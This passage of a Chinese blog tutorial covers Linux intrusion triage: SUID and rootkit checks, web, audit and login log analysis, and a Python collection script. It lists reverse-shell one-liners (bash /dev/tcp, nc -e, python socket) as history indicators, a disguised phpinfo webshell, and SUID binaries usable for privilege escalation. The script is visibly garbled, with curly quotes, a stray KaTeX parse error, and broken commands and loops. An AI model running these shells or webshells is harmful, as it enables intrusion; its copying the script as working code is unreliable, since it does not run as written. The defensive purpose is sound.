通过白名单顾虑发现可疑的就有suid权限的文件
已知可以用来提权的linux可执行文件有:Nmap、vim、find、bash、more、less、nano、cp

默认具有SUID的可执行文件如下:find / -user root -perm -4000 -print2>/dev/null

(15)进程中被删除的文件

分析方法:

1.通过已删除的文件名判断是否为恶意的进程或者是被注入的恶意文件。

lsof | grep DEL

(16)rootkit检测(难点)

分析方法:

1.通过判断 /sys/module/rkmod 文件夹是否存在来判断是否感染已知的rkmod

if [ -d “/sys/module/rkmod” ];then

echo -e “/sys/module/rkmod rootkit kernel mod exist\n”>> $rootkit_file
stat /sys/module/rkmod >> rootkit_file

fi
三:日志异常检测

对日志的理解:

1.我能从何处得到等多的信息;

2.怎样才能确定以上日志所描述内容的真实性

3.日志显示的内容会有什么影响

4.接下来会发什么,后面应该再关注那些其他事件的发生

5.我应该怎么做,该有怎样的紧急防御措施和应对方案
日志关注的内容:

1.系统状态信息——可能影响系统的故障

2.攻击的尝试何刺探——成功的攻击

3.系统接近某些参数的高值——系统容量将要用尽或者达到某个最高值造成的原因

4.系统变更——可能导致安全和可用性问题的系统变更

5.成功的登录——失败的登录

6.例行和自动化配置变更——安全相关配置变更

7.连接建立/终止——检测未授权连接

8.系统启动/关闭——系统奔溃

9.硬件状态信息——硬件的失效
(1)web日志

分析项:

1.对不存在的文件过度访问

2.看上去是url的一部分的代码(sql,html)

3.访问接受用户输入的危险页面

4.一般情况下排除用户认证失败(错误代码:401,403)、无效的请求(错误代码:400)、内部服务器错误(错误代码:500)

5.统计学,如统计访问量较多的IP、访问业务较少的动态的疑似webshell的页面

如访问shell.php,会得到日志

<?php phpinfo(); ?>

稍微改变下后门,添加header一句代码之后就会是

<?php header('HTTP/1.1 404'); ob_start(); phpinfo(); ob_end_clean(); ?>

(2)Audit日志

一.错误登录日志

分析方法:

1.根据错误登录频次发现异常登录用户、登录IP。

2.与passwd_login_users标签数据作对比,发现异常用户。

  1. 判断是否有超正常范围的 IP 登录记录。

4.同类数据聚合统计acct用户,数量极少的用户需要人工排查
grep -i “fail”/var/log/audit/audit.log*

二.sudo操作日志

分析方法:

1.排除法,过滤掉正常用户的sudo权限

2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

grep -i “sudo”/var/log/audit/audit.log*
三.信息统计

分析方法:

  1. 获取系统近一个月的统计信息,如:用户数量,错误登录用户数,执行命令数,事件数等

Aureport

四:其他分析

分析方法:

1.根据业务排除系统正常的操作日志

2.分析有无类似无bash环境的用户的操作记录,如apache用户的操作等
(3)bash_history

分析方法:

1.有无反弹shell

2.有无敏感的操作记录,如删除日志、端口转发等内网渗透操作

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess *

nc -e /bin/bash *

(4)登录日志

获取 /var/log/ 目录下 audit、btmp、wtmp、secure、cron、lastlog日志

异常常登录、异常用户、异常计划任务;

  1. 用排除法,去掉正常登录 IP,找出异常登录 IP;

  2. 通过白名单过滤,判断是否有异常ssh 登录;

  3. 统计确认是否有异常计划任务;

  4. 排除系统正常业务简化内容

7.通过人工确认
(5)系统日志

如常见的secure、cron日志,结合业务进行分析

1.linux命令组合拳的使用

grep -ev ‘ssh|telnet’ /var/log/messages 查看除了包含ssh和telnet之外的所有日志

gerp -f patterns /var/log/messages 查看匹配文件“patterns”中模式所有的消息

cat messages |awk “{print $4}”|sort -u 查看文件记录了那些设备
关键的信息点:

成功登陆的用户 “Accepted password”、“Accepted publickey”、“session opened”

失败的用户登录 “authentication failure”、“new user”、“deleteuser”

用户注销 “session closed”

用户账户更改或者删除 “password changed”、“new user”、“deleteuser”

sudo操作 “sudo:…COMMAND=…”,“failed su”

服务故障 “failed”、“failure”

0x03:半自动化

以下内容可能会辣眼睛,观看时请不要喝水,linux实现常用shell,安全的小伙伴们一般都比较不一样的风格,用python实现简单的功能吧~

!/usr/bin/python3
– coding:utf-8 --#
import os

import re

def info():

print(“基础版本信息”)

print("--------------------------------------------------------------------------------")

version=os.system(“uname a”)

print(“logging users”)

print("--------------------------------------------------------------------------------")

logging_users=os.system(“w”)

print(“系统运行时间”)

print("--------------------------------------------------------------------------------")

os_time=os.system(“uptime”)
网卡信息
network=os.system(‘ip link show | grep PROMISC’)
路由信息
route=os.system(“route -n”)
arp信息
arp=os.system(“arp -a -n”)
显示当前时间
time=os.system(“timedatectl”)
挂载信息
mount=os.system(“mount”)
目前登录信息
logging_user=os.system(“w”)
用户目前和过去的登录信息,对应/var/log/wtmp文件,last -f /var/log/wtmp
loggied_user=os.system(“last”)
本地系统用户最后一次登录的信息,对应/var/log/utmp文件
logging_user_info=os.system(“lastlog”)
用户错误登录的登录列表,对应/var/log/btmp文件
logging_user_info=os.system(“lastb”)
这里可以做的事情:监控paasswd是否新增帐号;lastlog中系统用户从未登录过的用户是否登录;last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip,lastb登录错误的ip和用户是否在last登录成功的列表中
具有shell登录环境的用户cat /etc/rc.local
#not_nologin_users=os.system(“awk -F: ‘{if($7!~“nologin” && $7!~“shutdown” && $7!~“halt” && $7!~“false” && KaTeX parse error: Expected 'EOF', got '}' at position 17: …!~"sync") print}̲' /etc/passwd")…|#’”)
root用户登录时的源ip地址
root_sshknow_hosts=os.system(“awk ‘{print $1}’ /root/.ssh/known_hosts”)
其他用户登录时源ip地址
#for file in os.system(“ls /home”):system的结果为0,1等结果数值,无法取值进行循环

os.system(“ls /home > 1.txt”)

f = open(“1.txt”, “r”)

for file in f.readlines():

file = file.strip()

path = "/home/" + file + "/.ssh/known_hosts"

# print(path)

a = os.path.exists(path)

# print(a)

try:

    if a == True:

        os.system("awk  '{print $1}' %s" % path)

except FileNotFoundError:

    pass

f.close()
/etc/rc.local 脚本内容,默认内容为:touch /var/lock/subsys/local
auto_rclocal=os.system(’ | grep -Ev “#$|#”’)
crontab任务计划,crontab -l 或者 crontab -c /var/spool/cron/ -l,/etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务
crontab=os.system(‘crontab -l’)
cron.d 为系统级任务计划,crontab -l无法显示
crond=os.system(’ find /etc/cron.d/ |xargs ./busybox grep -Ev “^#”’)
用户自定义启动项
chkconfig_services=os.system(‘chkconfig --list’)
系统自启动项,排除正常启动项,参考链接:https://www.cnblogs.com/benjamin77/p/9341702.html
system_servers=os.system(‘systemctl list-unit-files | grep enabled | grep -Ev “ups.path|abrt-ccpp.service|abrt-oops.service|abrt-vmcore.service|abrt-xorg.service|abrtd.service|accounts-daemon.service|atd.service|auditd.service|avahi-daemon.service|bluetooth.service|chronyd.service|crond.service|cups.service|dbus-org.bluez.service|dbus-org.fedoraproject.FirewallD1.service|dbus-org.freedesktop.Avahi.service|dbus-org.freedesktop.ModemManager1.service|dbus-org.freedesktop.NetworkManager.service|dbus-org.freedesktop.nm-dispatcher.service|display-manager.service|dmraid-activation.service|firewalld.service|gdm.service|getty@.service|gitlab-runsvdir.service|irqbalance.service|iscsi.service|ksm.service|ksmtuned.service|libstoragemgmt.service|libvirtd.service|lvm2-monitor.service|mdmonitor.service|microcode.service|ModemManager.service|multipathd.service|netcf-transaction.service|NetworkManager-dispatcher.service|NetworkManager-wait-online.service|NetworkManager.service|postfix.service|rngd.service|rsyslog.service|rtkit-daemon.service|smartd.service|spice-vdagentd.service|sshd.service|sysstat.service|systemd-readahead-collect.service|systemd-readahead-drop.service|systemd-readahead-replay.service|tuned.service|vmtoolsd.service|avahi-daemon.socket|cups.socket|dm-event.socket|iscsid.socket|iscsiuio.socket|lvm2-lvmetad.socket|lvm2-lvmpolld.socket|rpcbind.socket|default.target|graphical.target|nfs-client.target|remote-fs.target”’)
内核模块运行时的文件信息
kernel_file=os.system(“ls -alt /sys/module”)
内核模块
lsmod=os.system(‘lsmod | grep -Ev “Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_na|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2”’)
进程信息
pstreew=os.system(‘ps auxfw’)
网络连接信息
network_listen=os.system(‘netstat -antup’)
lsof网络连接信息,1.netstat无权限控制,lsof有权限控制,只能看到本用户2.losf能看到pid和用户,可以找到哪个进程占用了这个端口
lsof_listen=os.system(‘lsof -nPi | grep -v “127.0.0.1” |grep -v “::1” |sort -u’)
网络输出sockets信息
network_connecttion=os.system(“netstat -plantux”)
防火墙信息
iptables=os.system(“iptables -L -nv”)
进程文件路径https://blog.csdn.net/xuelin1036/article/details/41794487,https://www.cnblogs.com/aofo/p/6151266.html
sys/fs用于描述系统中的所有文件系统
排除/proc/sys/fs搜索所有exe表示具体的执行路径
proc_exe=os.system(“find /proc -path ‘/proc/sys/fs’ -prune -o -print |xargs ls -al | grep ‘exe ->’ | sort -u”)
rpm包信息
rpm=os.system(“rpm -aV”)
sshx相关rpm检测
ssh_rpm=os.system(“rpm -qa|grep ssh|xargs rpm -qV”)
日志获取
history命令历史记录
history=os.system(“history”)
其他用户历史记录,无需判断该用户是否有shell,如apche用户无history文件,若该用户执行了命令,可从audit日志中发现
os.system(“ls /home > 1.txt”)

f1 = open(“1.txt”, “r”)

for file in f.readlines():

file = file.strip()

path = “/home/” + file + “/.bash_history”

a = os.path.exists(path)

try:

if a == True:

    os.system("cat %s" % path)

except FileNotFoundError:

pass

f1.close()
var相关log日志获取,audit日志,btmp日志,wtmp日志,secure日志,corn日志,lastlog日志
os.system(“tar -zcf var_log.tar.gz /var/log/audit /var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* /var/log/lastlog”)
日志简单分析待补充
if name == “main”:

info()**

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值